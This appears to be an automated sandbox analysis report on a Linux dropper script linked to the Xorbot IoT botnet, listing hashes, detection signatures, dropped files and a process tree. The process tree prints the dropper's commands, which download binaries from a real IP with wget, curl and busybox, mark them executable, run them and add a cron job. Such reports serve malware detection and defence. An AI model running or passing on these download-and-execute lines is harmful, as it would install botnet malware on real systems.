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Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/01/2025, 12:35

General

  • Target

    TDNJI_bins.sh

  • Size

    10KB

  • MD5

    6e6997bf49581bf245df9342aecf0877

  • SHA1

    290de347fd1c82a321665fe064a309b572388ea4

  • SHA256

    7b91847f2f91979b157d2d9a1c86a1af72f870474ff5e06955441dc3e831d8ff

  • SHA512

    4d2cac7676749f2c2c6ce261617d6fe39bcadea9483b63f0a92c759559d0634ba978ef30aa1601386b65cb34774826d65d623c8995115fd6011fb840fe6b6ef7

  • SSDEEP

    192:NPzbDjWKCG3lLb3Dnm+bd8rgHEzbDjWKz3Dnm+xO:N7CG3lLv6rgH8Q

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2182) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/TDNJI_bins.sh
    /tmp/TDNJI_bins.sh
    1⤵
      PID:1523
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1524
        • /usr/bin/wget
          wget http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • Writes file to tmp directory
          PID:1525
        • /usr/bin/curl
          curl -O http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • Writes file to tmp directory
          PID:1529
        • /bin/busybox
          /bin/busybox wget http://146.19.162.73/bins/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • Writes file to tmp directory
          PID:1530
        • /bin/chmod
          chmod 777 crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • File and Directory Permissions Modification
          PID:1531
        • /tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          ./crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
          • Executes dropped EXE
          PID:1532
        • /bin/rm
          rm crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW
          2⤵
            PID:1534
          • /usr/bin/wget
            wget http://146.19.162.73/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
            2⤵
            • Writes file to tmp directory
            PID:1535
          • /usr/bin/curl
            curl -O http://146.19.162.73/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
            2⤵
            • Writes file to tmp directory
            PID:1536
          • /bin/busybox
            /bin/busybox wget http://146.19.162.73/bins/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
            2⤵
            • Writes file to tmp directory
            PID:1537
          • /bin/chmod
            chmod 777 oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
            2⤵
            • File and Directory Permissions Modification
            PID:1538
          • /tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
            ./oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
            2⤵
            • Executes dropped EXE
            PID:1539
          • /bin/rm
            rm oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq
            2⤵
              PID:1541
            • /usr/bin/wget
              wget http://146.19.162.73/bins/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
              2⤵
              • Writes file to tmp directory
              PID:1542
            • /usr/bin/curl
              curl -O http://146.19.162.73/bins/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
              2⤵
              • Writes file to tmp directory
              PID:1543
            • /bin/busybox
              /bin/busybox wget http://146.19.162.73/bins/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
              2⤵
              • Writes file to tmp directory
              PID:1544
            • /bin/chmod
              chmod 777 nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
              2⤵
              • File and Directory Permissions Modification
              PID:1545
            • /tmp/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
              ./nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
              2⤵
              • Executes dropped EXE
              PID:1546
            • /bin/rm
              rm nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw
              2⤵
                PID:1548
              • /usr/bin/wget
                wget http://146.19.162.73/bins/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
                2⤵
                • Writes file to tmp directory
                PID:1549
              • /usr/bin/curl
                curl -O http://146.19.162.73/bins/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
                2⤵
                • Writes file to tmp directory
                PID:1550
              • /bin/busybox
                /bin/busybox wget http://146.19.162.73/bins/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
                2⤵
                • Writes file to tmp directory
                PID:1551
              • /bin/chmod
                chmod 777 NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
                2⤵
                • File and Directory Permissions Modification
                PID:1552
              • /tmp/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
                ./NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1553
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1555
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1556
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1557
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1558
                    • /bin/rm
                      rm NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm
                      2⤵
                        PID:1560
                      • /usr/bin/wget
                        wget http://146.19.162.73/bins/cC2GQDEG43eSnGF7850InqXO7G7etnVSgX
                        2⤵
                          PID:1563

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/NwgZjiddelby3FzsCZ1mLRZx6SMLzL8VZm

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/crBQJRi7Sr8LjsqBMamJOi4yRgoz2NaaJW

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /tmp/nbLGIJqSz2jiCpg58QXlv276j8t521Qkbw

                        Filesize

                        111KB

                        MD5

                        ca897a38f23ec23521ce0b1b83f8422d

                        SHA1

                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                        SHA256

                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                        SHA512

                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                      • /tmp/oNQq0FuMrbDoaq0bKoh20VUNtpYG9qGzKq

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /var/spool/cron/crontabs/tmp.OYFFns

                        Filesize

                        210B

                        MD5

                        acfab426cd348dcab380e70a91e4a0a3

                        SHA1

                        dd0d3f9a9d4cfd7def29e5c5fc534fea23192ed7

                        SHA256

                        7edbce7ec5d65c37ac72e9d4a87e7faafe87ec3afe495af17bc16331ad937dfb

                        SHA512

                        dde6dae1ab1bafb30f949b34ad529fab8b4aba05ea2b601c393d08898d0c7f31aed3055bb72303c2ddfdbfc9248f5a10f9735a7f5353816a0f53c528a85c95a8